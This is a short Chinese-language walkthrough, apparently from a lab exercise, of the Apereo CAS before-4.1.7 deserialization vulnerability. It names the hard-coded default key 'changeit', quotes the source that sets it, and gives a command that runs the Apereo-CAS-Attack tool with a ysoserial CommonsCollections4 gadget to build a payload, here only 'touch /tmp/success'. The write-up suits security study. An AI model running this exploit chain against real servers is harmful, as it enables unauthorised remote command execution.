1、漏洞说明
Apereo CAS 是一款Apereo发布的集中认证服务平台,常被用于企业内部单点登录系统。其4.1.7版本之前存在一处默认密钥的问题,利用这个默认密钥我们可以构造恶意信息触发目标反序列化漏洞(硬编码导致的漏洞),进而执行任意命令。
2、登录网址
http://x.x.x.x:8080
发现是404网页,进不去,看一下漏洞说明文件才发现是
http://x.x.x.x/cas/login
3、4.1.7 之前 Apereo CAS 的开箱即用默认配置使用默认密钥changeit
public class EncryptedTranscoder implements Transcoder {
private CipherBean cipherBean;
private boolean compression = true;
public EncryptedTranscoder() throws IOException {
BufferedBlockCipherBean bufferedBlockCipherBean = new BufferedBlockCipherBean();
bufferedBlockCipherBean.setBlockCipherSpec(new BufferedBlockCipherSpec("AES", "CBC", "PKCS7"));
bufferedBlockCipherBean.setKeyStore(this.createAndPrepareKeyStore());
bufferedBlockCipherBean.setKeyAlias("aes128");
bufferedBlockCipherBean.setKeyPassword("changeit");
bufferedBlockCipherBean.setNonce(new RBGNonce());
this.setCipherBean(bufferedBlockCipherBean);
}
// ...
4、可以尝试使用Apereo-CAS-Attack生成加密的ysoserial的序列化对象:
java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 “touch /tmp/success”